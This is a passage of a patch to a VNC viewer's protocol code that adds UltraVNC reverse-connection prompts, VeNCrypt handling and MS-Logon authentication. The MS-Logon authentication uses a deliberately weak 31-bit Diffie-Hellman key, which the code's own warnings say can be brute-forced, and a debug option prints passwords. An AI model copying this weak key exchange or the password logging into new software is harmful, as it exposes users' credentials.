-+ if (getenv("SSVNC_ACCEPT_POPUP_SC")) {
-+ if (server_minor == -4 || server_minor == -6 || server_minor == 14 || server_minor == 16) {
-+ /* 4 and 6 work too? */
-+ viewer_minor = server_minor;
-+ accept_uvnc = 1;
-+ fprintf(stderr,"Reset RFB version to 3.%d for UltraVNC SSVNC_ACCEPT_POPUP_SC.\n\n", viewer_minor);
-+ }
-+ }
-
-- if (!ReadFromRFBServer(desktopName, si.nameLength)) return False;
-+ fprintf(stderr, "Connected to RFB server, using protocol version %d.%d\n", viewer_major, viewer_minor);
-
-- desktopName[si.nameLength] = 0;
-+ if (hsfile) {
-+ int k = 0;
-+ while (hsparam[k] != NULL) {
-+ char *str = hsparam[k++];
-+ if (strstr(str, "latency=") == str) {
-+ latency = 1000. * atof(str + strlen("latency="));
-+ }
-+ }
-+ k = 0;
-+ while (hsparam[k] != NULL) {
-+ char *str = hsparam[k++];
-+ int v1, v2;
-+ if (sscanf(str, "viewer=RFB %d.%d\n", &v1, &v2) == 2) {
-+ viewer_major = v1;
-+ viewer_minor = v2;
-+ fprintf(stderr, "\nPre-Handshake set protocol version to: %d.%d Latency: %.2f ms\n", viewer_major, viewer_minor, latency);
-+ goto end_of_proto_msg;
-+ }
-+ }
-+ }
-+ sprintf(pv, rfbProtocolVersionFormat, viewer_major, viewer_minor);
-
-- fprintf(stderr,"Desktop name \"%s\"\n",desktopName);
-+ if (!appData.appShare) {
-+ usleep(100*1000);
-+ }
-+ dt = dnow();
-+ if (!WriteExact(rfbsock, pv, sz_rfbProtocolVersionMsg)) {
-+ return False;
-+ }
-
-- fprintf(stderr,"VNC server default format:\n");
-- PrintPixelFormat(&si.format);
-+ end_of_proto_msg:
-
-- if (tightVncProtocol) {
-- /* Read interaction capabilities (protocol 3.7t) */
-- if (!ReadInteractionCaps())
-- return False;
-- }
-+ if (envsetsec) {
-+ secType = atoi(getenv("SSVNC_SET_SECURITY_TYPE"));
-+ goto sec_type;
-+ }
-+ if (hsfile) {
-+ int k = 0;
-+ while (hsparam[k] != NULL) {
-+ char *str = hsparam[k++];
-+ int st;
-+ if (sscanf(str, "sectype=%d\n", &st) == 1) {
-+ secType = st;
-+ fprintf(stderr, "Pre-Handshake set Security-Type to: %d (%s)\n", st, pr_sec_type(st));
-+ if (secType == rfbSecTypeVencrypt) {
-+ goto sec_type;
-+ } else if (secType == rfbSecTypeAnonTls) {
-+ break;
-+ }
-+ }
-+ }
-+ }
-
-- return True;
-+ if (accept_uvnc) {
-+ unsigned int msg_sz = 0;
-+ unsigned int nimmer = 0;
-+ char msg[3000];
-+ char *msg_buf, *sip = NULL, *sih = NULL;
-+
-+ if (!ReadFromRFBServer((char *) &msg_sz, 4)) {
-+ return False;
-+ }
-+ dt_out_sc = dnow();
-+ msg_sz = Swap32IfBE(msg_sz);
-+ if (msg_sz > 1024) {
-+ fprintf(stderr, "UVNC msg size too big: %d\n", msg_sz);
-+ exit(1);
-+ }
-+ msg_buf = (char *)calloc(msg_sz + 100, 1);
-+ if (!ReadFromRFBServer(msg_buf, msg_sz)) {
-+ return False;
-+ }
-+
-+ if (0) {
-+ fprintf(stderr, "msg_buf: ");
-+ write(2, msg_buf, msg_sz);
-+ fprintf(stderr, "\n");
-+ }
-+
-+ sip = get_peer_ip(rfbsock);
-+ if (strlen(sip) > 100) sip = "0.0.0.0";
-+ sih = ip2host(sip);
-+ if (strlen(sih) > 300) sih = "unknown";
-+
-+ sprintf(msg, "\n(LISTEN) Reverse VNC connection from IP: %s\n Hostname: %s\n\n", sip, sih);
-+ strcat(msg, "UltraVNC Server Message:\n");
-+ strcat(msg, msg_buf);
-+ free(msg_buf);
-+ strcat(msg, "\n\n");
-+ strcat(msg, "Accept or Reject VNC connection?");
-+ if (CreateMsg(msg, 2)) {
-+ nimmer = 1;
-+ fprintf(stderr, "Accepting connection.\n\n");
-+ } else {
-+ nimmer = 0;
-+ fprintf(stderr, "Refusing connection.\n\n");
-+ }
-+ if (!WriteExact(rfbsock, (char *) &nimmer, 4)) {
-+ return False;
-+ }
-+ }
-+
-+ /* Read or select the security type. */
-+ dt_out = 0.0;
-+
-+ skip_XtUpdateAll = 1;
-+ if (viewer_minor >= 7 && !accept_uvnc) {
-+ secType = SelectSecurityType();
-+ } else {
-+ secType = ReadSecurityType();
-+ }
-+ skip_XtUpdateAll = 0;
-+
-+ if (accept_uvnc) {
-+ dt_out = dt_out_sc;
-+ }
-+
-+ if (dt > 0.0 && dt_out > dt) {
-+ latency = (dt_out - dt) * 1000;
-+ }
-+
-+ fprintf(stderr, "Security-Type: %d (%s) Latency: %.2f ms\n", (int) secType, pr_sec_type(secType), latency);
-+ if (secType == rfbSecTypeInvalid) {
-+ return False;
-+ }
-+
-+ sec_type:
-+
-+ if (hsfile) {
-+ int subsectype = 0;
-+ int k = 0;
-+ while (hsparam[k] != NULL) {
-+ char *str = hsparam[k++];
-+ int st;
-+ if (sscanf(str, "subtype=%d\n", &st) == 1) {
-+ subsectype = st;
-+ fprintf(stderr, "Pre-Handshake set Sub-Security-Type to: %d (%s)\n\n", st, pr_sec_subtype(st));
-+ break;
-+ }
-+ }
-+
-+ if (!subsectype) {
-+ ;
-+ } else if (secType == rfbSecTypeVencrypt) {
-+ if (subsectype == rfbVencryptTlsNone) {
-+ anon_dh = 1;
-+ secType = rfbSecTypeNone;
-+ } else if (subsectype == rfbVencryptTlsVnc) {
-+ anon_dh = 1;
-+ secType = rfbSecTypeVncAuth;
-+ } else if (subsectype == rfbVencryptTlsPlain) {
-+ anon_dh = 1;
-+ secType = rfbSecTypeNone;
-+ } else if (subsectype == rfbVencryptX509None) {
-+ secType = rfbSecTypeNone;
-+ } else if (subsectype == rfbVencryptX509Vnc) {
-+ secType = rfbSecTypeVncAuth;
-+ } else if (subsectype == rfbVencryptX509Plain) {
-+ secType = rfbSecTypeNone;
-+ }
-+ if (subsectype == rfbVencryptTlsPlain || subsectype == rfbVencryptX509Plain) {
-+ usleep(300*1000);
-+ }
-+ if (subsectype == rfbVencryptTlsNone || subsectype == rfbVencryptTlsVnc || subsectype == rfbVencryptTlsPlain) {
-+ char tmp[1000], line[100];
-+ tmp[0] = '\0';
-+ strcat(tmp, "\n");
-+ sprintf(line, "WARNING: Anonymous Diffie-Hellman TLS used (%s),\n", pr_sec_subtype(subsectype));
-+ strcat(tmp, line);
-+ strcat(tmp, "WARNING: there will be *NO* Authentication of the VNC Server.\n");
-+ strcat(tmp, "WARNING: I.e. a Man-In-The-Middle attack is possible.\n");
-+ strcat(tmp, "WARNING: Configure the server to use X509 certs and verify them.\n\n");
-+ wmsg(tmp, 1);
-+ }
-+ if (subsectype == rfbVencryptTlsPlain || subsectype == rfbVencryptX509Plain) {
-+ fprintf(stderr, "\nVeNCrypt Plain (username + passwd) selected.\n\n");
-+ if (appData.unixPW != NULL) {
-+ unixpw(appData.unixPW, 1);
-+ } else if (getenv("SSVNC_UNIXPW")) {
-+ unixpw(getenv("SSVNC_UNIXPW"), 1);
-+ } else {
-+ unixpw(".", 1);
-+ }
-+ }
-+ }
-+ }
-+
-+ switch (secType) {
-+ case rfbSecTypeNone:
-+ fprintf(stderr, "No VNC authentication needed\n");
-+ if (viewer_minor >= 8) {
-+ CARD32 authResult;
-+
-+ if (!ReadFromRFBServer((char *)&authResult, 4)) {
-+ return False;
-+ }
-+
-+ authResult = Swap32IfLE(authResult);
-+
-+ if (authResult == rfbVncAuthOK) {
-+ fprintf(stderr, "VNC authentication succeeded (%d) for rfbSecTypeNone (RFB 3.8)\n", (int) authResult);
-+ } else {
-+ sprintf(msgbuf, "VNC authentication failed (%d) for rfbSecTypeNone (RFB 3.8)\n\n", (int) authResult);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+ }
-+ fprintf(stderr, "\n");
-+ break;
-+ case rfbSecTypeVncAuth:
-+ if (!AuthenticateVNC()) {
-+ return False;
-+ }
-+ break;
-+ case rfbSecTypeTight:
-+ tightVncProtocol = True;
-+ InitCapabilities();
-+ if (!SetupTunneling()) {
-+ return False;
-+ }
-+ if (!PerformAuthenticationTight()) {
-+ return False;
-+ }
-+ break;
-+ case rfbUltraVncMsLogon:
-+ if (!AuthUltraVncMsLogon()) {
-+ return False;
-+ }
-+ break;
-+ default: /* should never happen */
-+ sprintf(msgbuf, "Internal error: Invalid security type: %d\n", secType);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+
-+ connect_time = dnow();
-+
-+ ci.shared = (appData.shareDesktop ? 1 : 0);
-+
-+ if (!WriteExact(rfbsock, (char *)&ci, sz_rfbClientInitMsg)) {
-+ return False;
-+ }
-+
-+ if (!ReadFromRFBServer((char *)&si, sz_rfbServerInitMsg)) {
-+ return False;
-+ }
-+
-+ si.framebufferWidth = Swap16IfLE(si.framebufferWidth);
-+ si.framebufferHeight = Swap16IfLE(si.framebufferHeight);
-+ si.format.redMax = Swap16IfLE(si.format.redMax);
-+ si.format.greenMax = Swap16IfLE(si.format.greenMax);
-+ si.format.blueMax = Swap16IfLE(si.format.blueMax);
-+ si.nameLength = Swap32IfLE(si.nameLength);
-+
-+ if (appData.chatOnly) {
-+ si.framebufferWidth = 32;
-+ si.framebufferHeight = 32;
-+ }
-+
-+ /* FIXME: Check arguments to malloc() calls. */
-+ desktopName = malloc(si.nameLength + 1);
-+ memset(desktopName, 0, si.nameLength + 1);
-+ if (!desktopName) {
-+ fprintf(stderr, "Error allocating memory for desktop name, %lu bytes\n",
-+ (unsigned long)si.nameLength);
-+ return False;
-+ }
-+
-+ if (!ReadFromRFBServer(desktopName, si.nameLength)) {
-+ return False;
-+ }
-+
-+ desktopName[si.nameLength] = 0;
-+
-+ if (appData.appShare) {
-+ int x_hint, y_hint;
-+ char *p, *q = NULL;
-+ p = desktopName;
-+ while (*p != '\0') {
-+ char *t = strstr(p, " XY=");
-+ if (t) q = t;
-+ p++;
-+ }
-+ if (q) {
-+ int ok = 1;
-+ p = q + strlen(" XY=");
-+ while (*p != '\0') {
-+ if (!strpbrk(p, "0123456789,+-")) {
-+ ok = 0;
-+ }
-+ p++;
-+ }
-+ if (ok && sscanf(q+1, "XY=%d,%d", &x_hint, &y_hint) == 2) {
-+ fprintf(stderr,"Using x11vnc appshare position: %s\n\n", q);
-+ *q = '\0';
-+ appshare_x_hint = x_hint;
-+ appshare_y_hint = y_hint;
-+ }
-+ }
-+ }
-+
-+ fprintf(stderr,"Desktop name \"%s\"\n\n", desktopName);
-+
-+ fprintf(stderr,"VNC server default format:\n");
-+ PrintPixelFormat(&si.format);
-+
-+ if (tightVncProtocol) {
-+ /* Read interaction capabilities (protocol 3.7t) */
-+ if (!ReadInteractionCaps()) {
-+ return False;
-+ }
-+ }
-+
-+ return True;
- }
-
-
- /*
-- * Read security type from the server (protocol version 3.3)
-+ * Read security type from the server (protocol 3.3)
- */
-
- static int
- ReadSecurityType(void)
- {
-- CARD32 secType;
-+ CARD32 secType;
-
-- /* Read the security type */
-- if (!ReadFromRFBServer((char *)&secType, sizeof(secType)))
-- return rfbSecTypeInvalid;
-+ /* Read the security type */
-+ if (!ReadFromRFBServer((char *)&secType, sizeof(secType))) {
-+ return rfbSecTypeInvalid;
-+ }
-+ dt_out = dnow();
-
-- secType = Swap32IfLE(secType);
-+ secType = Swap32IfLE(secType);
-
-- if (secType == rfbSecTypeInvalid) {
-- ReadConnFailedReason();
-- return rfbSecTypeInvalid;
-- }
-+ if (secType == rfbSecTypeInvalid) {
-+ ReadConnFailedReason();
-+ return rfbSecTypeInvalid;
-+ }
-
-- if (secType != rfbSecTypeNone && secType != rfbSecTypeVncAuth) {
-- fprintf(stderr, "Unknown security type from RFB server: %d\n",
-- (int)secType);
-- return rfbSecTypeInvalid;
-- }
-+ if (secType == rfbSecTypeNone) {
-+ ; /* OK */
-+ } else if (secType == rfbSecTypeVncAuth) {
-+ ; /* OK */
-+ } else if (secType == rfbUltraVncMsLogon) {
-+ ; /* OK */
-+ } else {
-+ sprintf(msgbuf, "Unknown security type from RFB server: %d\n", (int)secType);
-+ wmsg(msgbuf, 1);
-+ return rfbSecTypeInvalid;
-+ }
-
-- return (int)secType;
-+ return (int)secType;
- }
-
-
- /*
-- * Select security type from the server's list (protocol version 3.7)
-+ * Select security type from the server's list (protocol 3.7)
- */
-
- static int
- SelectSecurityType(void)
- {
-- CARD8 nSecTypes;
-- char *secTypeNames[] = {"None", "VncAuth"};
-- CARD8 knownSecTypes[] = {rfbSecTypeNone, rfbSecTypeVncAuth};
-- int nKnownSecTypes = sizeof(knownSecTypes);
-- CARD8 *secTypes;
-- CARD8 secType = rfbSecTypeInvalid;
-- int i, j;
--
-- /* Read the list of secutiry types. */
-- if (!ReadFromRFBServer((char *)&nSecTypes, sizeof(nSecTypes)))
-- return rfbSecTypeInvalid;
--
-- if (nSecTypes == 0) {
-- ReadConnFailedReason();
-- return rfbSecTypeInvalid;
-- }
-+ CARD8 nSecTypes;
-+ char *secTypeNames[] = {"None", "VncAuth"};
-+ CARD8 knownSecTypes[] = {rfbSecTypeNone, rfbSecTypeVncAuth};
-+ int nKnownSecTypes = sizeof(knownSecTypes);
-+ CARD8 *secTypes;
-+ CARD8 secType = rfbSecTypeInvalid;
-+ int i, j;
-+
-+ if (secTypeNames) {}
-+
-+ /* Read the list of security types. */
-+ if (!ReadFromRFBServer((char *)&nSecTypes, sizeof(nSecTypes))) {
-+ return rfbSecTypeInvalid;
-+ }
-+ dt_out = dnow();
-
-- secTypes = malloc(nSecTypes);
-- if (!ReadFromRFBServer((char *)secTypes, nSecTypes))
-- return rfbSecTypeInvalid;
--
-- /* Find out if the server supports TightVNC protocol extensions */
-- for (j = 0; j < (int)nSecTypes; j++) {
-- if (secTypes[j] == rfbSecTypeTight) {
-- free(secTypes);
-- secType = rfbSecTypeTight;
-- if (!WriteExact(rfbsock, (char *)&secType, sizeof(secType)))
-- return rfbSecTypeInvalid;
-- fprintf(stderr, "Enabling TightVNC protocol extensions\n");
-- return rfbSecTypeTight;
-- }
-- }
-+ if (nSecTypes == 0) {
-+ ReadConnFailedReason();
-+ return rfbSecTypeInvalid;
-+ }
-
-- /* Find first supported security type */
-- for (j = 0; j < (int)nSecTypes; j++) {
-- for (i = 0; i < nKnownSecTypes; i++) {
-- if (secTypes[j] == knownSecTypes[i]) {
-- secType = secTypes[j];
-- if (!WriteExact(rfbsock, (char *)&secType, sizeof(secType))) {
-- free(secTypes);
-- return rfbSecTypeInvalid;
-- }
-- break;
-- }
-- }
-- if (secType != rfbSecTypeInvalid) break;
-- }
-+ secTypes = malloc(nSecTypes);
-+ if (!ReadFromRFBServer((char *)secTypes, nSecTypes)) {
-+ return rfbSecTypeInvalid;
-+ }
-+
-+ if (getenv("SSVNC_DEBUG_SEC_TYPES")) {
-+ for (j = 0; j < (int)nSecTypes; j++) {
-+ fprintf(stderr, "sec-type[%d] %d\n", j, (int) secTypes[j]);
-+ }
-+ }
-+
-+ /* Find out if the server supports TightVNC protocol extensions */
-+ for (j = 0; j < (int)nSecTypes; j++) {
-+ if (getenv("VNCVIEWER_NO_SEC_TYPE_TIGHT")) {
-+ break;
-+ }
-+ if (getenv("SSVNC_NO_SEC_TYPE_TIGHT")) {
-+ break;
-+ }
-+#ifdef TURBOVNC
-+ break;
-+#endif
-+ if (secTypes[j] == rfbSecTypeTight) {
-+ free(secTypes);
-+ secType = rfbSecTypeTight;
-+ if (!WriteExact(rfbsock, (char *)&secType, sizeof(secType))) {
-+ return rfbSecTypeInvalid;
-+ }
-+ fprintf(stderr, "Enabling TightVNC protocol extensions\n");
-+ return rfbSecTypeTight;
-+ }
-+ }
-+
-+ /* Find first supported security type */
-+ for (j = 0; j < (int)nSecTypes; j++) {
-+ for (i = 0; i < nKnownSecTypes; i++) {
-+ if (secTypes[j] == knownSecTypes[i]) {
-+ secType = secTypes[j];
-+ if (!WriteExact(rfbsock, (char *)&secType, sizeof(secType))) {
-+ free(secTypes);
-+ return rfbSecTypeInvalid;
-+ }
-+ break;
-+ }
-+ }
-+ if (secType != rfbSecTypeInvalid) {
-+ break;
-+ }
-+ }
-
-- free(secTypes);
-+ if (secType == rfbSecTypeInvalid) {
-+ fprintf(stderr, "Server did not offer supported security type:\n");
-+ for (j = 0; j < (int)nSecTypes; j++) {
-+ fprintf(stderr, " sectype[%d] %d\n", j, (int) secTypes[j]);
-+ }
-+ }
-
-- if (secType == rfbSecTypeInvalid)
-- fprintf(stderr, "Server did not offer supported security type\n");
-+ free(secTypes);
-
-- return (int)secType;
-+ return (int)secType;
- }
-
-
-@@ -451,6 +1141,9 @@
- return True;
- }
-
-+static char *restart_session_pw = NULL;
-+static int restart_session_len = 0;
-+
-
- /*
- * Negotiate authentication scheme (protocol version 3.7t)
-@@ -459,58 +1152,406 @@
- static Bool
- PerformAuthenticationTight(void)
- {
-- rfbAuthenticationCapsMsg caps;
-- CARD32 authScheme;
-- int i;
-+ rfbAuthenticationCapsMsg caps;
-+ CARD32 authScheme;
-+ int i;
-
-- /* In the protocol version 3.7t, the server informs us about supported
-- authentication schemes. Here we read this information. */
-+ /* In the protocol version 3.7t, the server informs us about supported
-+ authentication schemes. Here we read this information. */
-
-- if (!ReadFromRFBServer((char *)&caps, sz_rfbAuthenticationCapsMsg))
-- return False;
-+ if (!ReadFromRFBServer((char *)&caps, sz_rfbAuthenticationCapsMsg)) {
-+ return False;
-+ }
-
-- caps.nAuthTypes = Swap32IfLE(caps.nAuthTypes);
-+ caps.nAuthTypes = Swap32IfLE(caps.nAuthTypes);
-
-- if (!caps.nAuthTypes) {
-- fprintf(stderr, "No authentication needed\n");
-- return True;
-- }
-+ if (!caps.nAuthTypes) {
-+ fprintf(stderr, "No VNC authentication needed\n\n");
-+ if (viewer_minor >= 8) {
-+ CARD32 authResult;
-+
-+ if (!ReadFromRFBServer((char *)&authResult, 4)) {
-+ return False;
-+ }
-+
-+ authResult = Swap32IfLE(authResult);
-+
-+ if (authResult == rfbVncAuthOK) {
-+ fprintf(stderr, "VNC authentication succeeded (%d) for PerformAuthenticationTight rfbSecTypeNone (RFB 3.8)\n", (int) authResult);
-+ } else {
-+ sprintf(msgbuf, "VNC authentication failed (%d) for PerformAuthenticationTight rfbSecTypeNone (RFB 3.8)\n\n", (int) authResult);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+ }
-+ return True;
-+ }
-
-- if (!ReadCapabilityList(authCaps, caps.nAuthTypes))
-- return False;
-+ if (!ReadCapabilityList(authCaps, caps.nAuthTypes)) {
-+ return False;
-+ }
-
-- /* Prefer Unix login authentication if a user name was given. */
-- if (appData.userLogin && CapsIsEnabled(authCaps, rfbAuthUnixLogin)) {
-- authScheme = Swap32IfLE(rfbAuthUnixLogin);
-- if (!WriteExact(rfbsock, (char *)&authScheme, sizeof(authScheme)))
-- return False;
-- return AuthenticateUnixLogin();
-- }
-+ /* Prefer Unix login authentication if a user name was given. */
-+ if (appData.userLogin && CapsIsEnabled(authCaps, rfbAuthUnixLogin)) {
-+ authScheme = Swap32IfLE(rfbAuthUnixLogin);
-+ if (!WriteExact(rfbsock, (char *)&authScheme, sizeof(authScheme))) {
-+ return False;
-+ }
-+ return AuthenticateUnixLogin();
-+ }
-
-- /* Otherwise, try server's preferred authentication scheme. */
-- for (i = 0; i < CapsNumEnabled(authCaps); i++) {
-- authScheme = CapsGetByOrder(authCaps, i);
-- if (authScheme != rfbAuthUnixLogin && authScheme != rfbAuthVNC)
-- continue; /* unknown scheme - cannot use it */
-- authScheme = Swap32IfLE(authScheme);
-- if (!WriteExact(rfbsock, (char *)&authScheme, sizeof(authScheme)))
-- return False;
-- authScheme = Swap32IfLE(authScheme); /* convert it back */
-- if (authScheme == rfbAuthUnixLogin) {
-- return AuthenticateUnixLogin();
-- } else if (authScheme == rfbAuthVNC) {
-- return AuthenticateVNC();
-- } else {
-- /* Should never happen. */
-- fprintf(stderr, "Assertion failed: unknown authentication scheme\n");
-- return False;
-- }
-- }
-+ /* Otherwise, try server's preferred authentication scheme. */
-+ for (i = 0; i < CapsNumEnabled(authCaps); i++) {
-+ authScheme = CapsGetByOrder(authCaps, i);
-+ if (authScheme != rfbAuthUnixLogin && authScheme != rfbAuthVNC) {
-+ continue; /* unknown scheme - cannot use it */
-+ }
-+ authScheme = Swap32IfLE(authScheme);
-+ if (!WriteExact(rfbsock, (char *)&authScheme, sizeof(authScheme))) {
-+ return False;
-+ }
-+ authScheme = Swap32IfLE(authScheme); /* convert it back */
-+ if (authScheme == rfbAuthUnixLogin) {
-+ return AuthenticateUnixLogin();
-+ } else if (authScheme == rfbAuthVNC) {
-+ return AuthenticateVNC();
-+ } else {
-+ /* Should never happen. */
-+ fprintf(stderr, "Assertion failed: unknown authentication scheme\n");
-+ return False;
-+ }
-+ }
-
-- fprintf(stderr, "No suitable authentication schemes offered by server\n");
-- return False;
-+ sprintf(msgbuf, "No suitable authentication schemes offered by server\n");
-+ wmsg(msgbuf, 1);
-+ return False;
-+}
-+
-+#if 0
-+unsigned char encPasswd[8];
-+unsigned char encPasswd_MSLOGON[32];
-+char clearPasswd_MSLOGIN[256];
-+static Bool old_ultravnc_mslogon_code(void) {
-+ char *passwd = NULL;
-+ CARD8 challenge_mslogon[CHALLENGESIZE_MSLOGON];
-+
-+ /* code from the old uvnc way (1.0.2?) that would go into AuthenticateVNC() template */
-+
-+ if (appData.msLogon != NULL) {
-+ raiseme(1);
-+ if (!strcmp(appData.msLogon, "1")) {
-+ char tmp[256];
-+ fprintf(stderr, "\nUltraVNC MS Logon Username[@Domain]: ");
-+ if (fgets(tmp, 256, stdin) == NULL) {
-+ exit(1);
-+ }
-+ appData.msLogon = strdup(tmp);
-+ }
-+ passwd = getpass("UltraVNC MS Logon Password: ");
-+ if (! passwd) {
-+ exit(1);
-+ }
-+ fprintf(stderr, "\n");
-+
-+ UvncEncryptPasswd_MSLOGON(encPasswd_MSLOGON, passwd);
-+ }
-+ if (appData.msLogon) {
-+ if (!ReadFromRFBServer((char *)challenge_mslogon, CHALLENGESIZE_MSLOGON)) {
-+ return False;
-+ }
-+ }
-+ if (appData.msLogon) {
-+ int i;
-+ char tmp[256];
-+ char *q, *domain = ".";
-+ for (i=0; i < 32; i++) {
-+ challenge_mslogon[i] = encPasswd_MSLOGON[i] ^ challenge_mslogon[i];
-+ }
-+ q = strchr(appData.msLogon, '@');
-+ if (q) {
-+ *q = '\0';
-+ domain = strdup(q+1);
-+ }
-+ memset(tmp, 0, sizeof(tmp));
-+ strcat(tmp, appData.msLogon);
-+ if (!WriteExact(rfbsock, tmp, 256)) {
-+ return False;
-+ }
-+ memset(tmp, 0, sizeof(tmp));
-+ strcat(tmp, domain);
-+ if (!WriteExact(rfbsock, tmp, 256)) {
-+ return False;
-+ }
-+ memset(tmp, 0, sizeof(tmp));
-+ strcat(tmp, passwd);
-+ if (!WriteExact(rfbsock, tmp, CHALLENGESIZE_MSLOGON)) {
-+ return False;
-+ }
-+ }
- }
-+#endif
-
-+static void hexprint(char *label, char *data, int len) {
-+ int i;
-+ fprintf(stderr, "%s: ", label);
-+ for (i=0; i < len; i++) {
-+ unsigned char c = (unsigned char) data[i];
-+ fprintf(stderr, "%02x ", (int) c);
-+ if ((i+1) % 20 == 0) {
-+ fprintf(stderr, "\n%s: ", label);
-+ }
-+ }
-+ fprintf(stderr, "\n");
-+}
-+
-+#define DH_MAX_BITS 31
-+static unsigned long long max_dh = ((unsigned long long) 1) << DH_MAX_BITS;
-+
-+static unsigned long long bytes_to_uint64(char *bytes) {
-+ unsigned long long result = 0;
-+ int i;
-+
-+ for (i=0; i < 8; i++) {
-+ result <<= 8;
-+ result += (unsigned char) bytes[i];
-+ }
-+ return result;
-+}
-+
-+static void uint64_to_bytes(unsigned long long n, char *bytes) {
-+ int i;
-+
-+ for (i=0; i < 8; i++) {
-+ bytes[i] = (unsigned char) (n >> (8 * (7 - i)));
-+ }
-+}
-+
-+static void try_invert(char *wireuser, char *wirepass, unsigned long long actual_key) {
-+ if (wireuser || wirepass || actual_key) {}
-+ return;
-+}
-+
-+
-+static unsigned long long XpowYmodN(unsigned long long x, unsigned long long y, unsigned long long N) {
-+ unsigned long long result = 1;
-+ unsigned long long oneShift63 = ((unsigned long long) 1) << 63;
-+ int i;
-+
-+ for (i = 0; i < 64; y <<= 1, i++) {
-+ result = result * result % N;
-+ if (y & oneShift63) {
-+ result = result * x % N;
-+ }
-+ }
-+ return result;
-+}
-+
-+/*
-+ * UltraVNC MS-Logon authentication (for v1.0.5 and later.)
-+ */
-+
-+/*
-+ * NOTE: The UltraVNC MS-Logon username and password exchange is
-+ * VERY insecure. It can be brute forced in ~2e+9 operations.
-+ * It's not clear we should support it... It is only worth using
-+ * in an environment where no one is sniffing the network, in which
-+ * case all of this DH exchange secrecy is unnecessary...
-+ */
-+
-+static Bool AuthUltraVncMsLogon(void) {
-+ CARD32 authResult;
-+ char gen[8], mod[8], pub[8], rsp[8];
-+ char user[256], passwd[64], *gpw;
-+ unsigned char key[8];
-+ unsigned long long ugen, umod, ursp, upub, uprv, ukey;
-+ double now = dnow();
-+ int db = 0;
-+
-+ if (getenv("SSVNC_DEBUG_MSLOGON")) {
-+ db = atoi(getenv("SSVNC_DEBUG_MSLOGON"));
-+ }
-+
-+ fprintf(stderr, "\nAuthUltraVncMsLogon()\n");
-+
-+ if (!ReadFromRFBServer(gen, sizeof(gen))) {
-+ return False;
-+ }
-+ if (db) hexprint("gen", gen, sizeof(gen));
-+
-+ if (!ReadFromRFBServer(mod, sizeof(mod))) {
-+ return False;
-+ }
-+ if (db) hexprint("mod", mod, sizeof(mod));
-+
-+ if (!ReadFromRFBServer(rsp, sizeof(rsp))) {
-+ return False;
-+ }
-+ if (db) hexprint("rsp", rsp, sizeof(rsp));
-+
-+ ugen = bytes_to_uint64(gen);
-+ umod = bytes_to_uint64(mod);
-+ ursp = bytes_to_uint64(rsp);
-+
-+ if (db) {
-+ fprintf(stderr, "ugen: 0x%016llx %12llu\n", ugen, ugen);
-+ fprintf(stderr, "umod: 0x%016llx %12llu\n", umod, umod);
-+ fprintf(stderr, "ursp: 0x%016llx %12llu\n", ursp, ursp);
-+ }
-+
-+ if (ugen > max_dh) {
-+ fprintf(stderr, "ugen: too big: 0x%016llx\n", ugen);
-+ return False;
-+ }
-+
-+ if (umod > max_dh) {
-+ fprintf(stderr, "umod: too big: 0x%016llx\n", umod);
-+ return False;
-+ }
-+
-+ /* make a random long long: */
-+ uprv = 0xffffffff * (now - (unsigned int) now);
-+ uprv = uprv << 32;
-+ uprv |= (unsigned long long) urandom();
-+ uprv = uprv % max_dh;
-+
-+ if (db) fprintf(stderr, "uprv: 0x%016llx %12llu\n", uprv, uprv);
-+
-+ upub = XpowYmodN(ugen, uprv, umod);
-+
-+ if (db) fprintf(stderr, "upub: 0x%016llx %12llu\n", upub, upub);
-+
-+ uint64_to_bytes(upub, pub);
-+
-+ if (db) hexprint("pub", pub, sizeof(pub));
-+
-+ if (!WriteExact(rfbsock, (char *)pub, sizeof(pub))) {
-+ return False;
-+ }
-+ if (db) fprintf(stderr, "wrote pub.\n");
-+
-+ if (ursp > max_dh) {
-+ fprintf(stderr, "ursp: too big: 0x%016llx\n", ursp);
-+ return False;
-+ }
-+
-+ ukey = XpowYmodN(ursp, uprv, umod);
-+
-+ if (db) fprintf(stderr, "ukey: 0x%016llx %12llu\n", ukey, ukey);
-+
-+ if (1) {
-+ char tmp[10000];
-+ tmp[0] = '\0';
-+ strcat(tmp, "\n");
-+ strcat(tmp, "WARNING: The UltraVNC Diffie-Hellman Key is weak (key < 2e+9, i.e. 31 bits)\n");
-+ strcat(tmp, "WARNING: and so an eavesdropper could recover your MS-Logon username and\n");
-+ strcat(tmp, "WARNING: password via brute force in a few seconds of CPU time. \n");
-+ strcat(tmp, "WARNING: If this connection is NOT being tunnelled through a separate SSL or\n");
-+ strcat(tmp, "WARNING: SSH encrypted tunnel, consider things carefully before proceeding...\n");
-+ strcat(tmp, "WARNING: Do not enter an important username+password when prompted below if\n");
-+ strcat(tmp, "WARNING: there is a risk of an eavesdropper sniffing this connection.\n");
-+ strcat(tmp, "WARNING: UltraVNC MSLogon encryption is VERY weak. You've been warned!\n");
-+ wmsg(tmp, 1);
-+ }
-+
-+ uint64_to_bytes(ukey, (char *) key);
-+
-+ if (appData.msLogon == NULL || !strcmp(appData.msLogon, "1")) {
-+ char tmp[256], *q, *s;
-+ if (!use_tty()) {
-+ fprintf(stderr, "\nEnter UltraVNC MS-Logon Username[@Domain] in the popup.\n");
-+ s = DoUserDialog();
-+ } else {
-+ raiseme(1);
-+ fprintf(stderr, "\nUltraVNC MS-Logon Username[@Domain]: ");
-+ if (fgets(tmp, 256, stdin) == NULL) {
-+ exit(1);
-+ }
-+ s = strdup(tmp);
-+ }
-+ q = strchr(s, '\n');
-+ if (q) *q = '\0';
-+ appData.msLogon = strdup(s);
-+ }
-+
-+ if (!use_tty()) {
-+ gpw = DoPasswordDialog();
-+ } else {
-+ raiseme(1);
-+ gpw = getpass("UltraVNC MS-Logon Password: ");
-+ }
-+ if (! gpw) {
-+ return False;
-+ }
-+ fprintf(stderr, "\n");
-+
-+ memset(user, 0, sizeof(user));
-+ strncpy(user, appData.msLogon, 255);
-+
-+ memset(passwd, 0, sizeof(passwd));
-+ strncpy(passwd, gpw, 63);
-+
-+ if (db > 1) {
-+ fprintf(stderr, "user='%s'\n", user);
-+ fprintf(stderr, "pass='%s'\n", passwd);
-+ }
-+
-+ UvncEncryptBytes2((unsigned char *) user, sizeof(user), key);
-+ UvncEncryptBytes2((unsigned char *) passwd, sizeof(passwd), key);
-+
-+ if (getenv("TRY_INVERT")) {
-+ try_invert(user, passwd, ukey);
-+ exit(0);
-+ }
-+
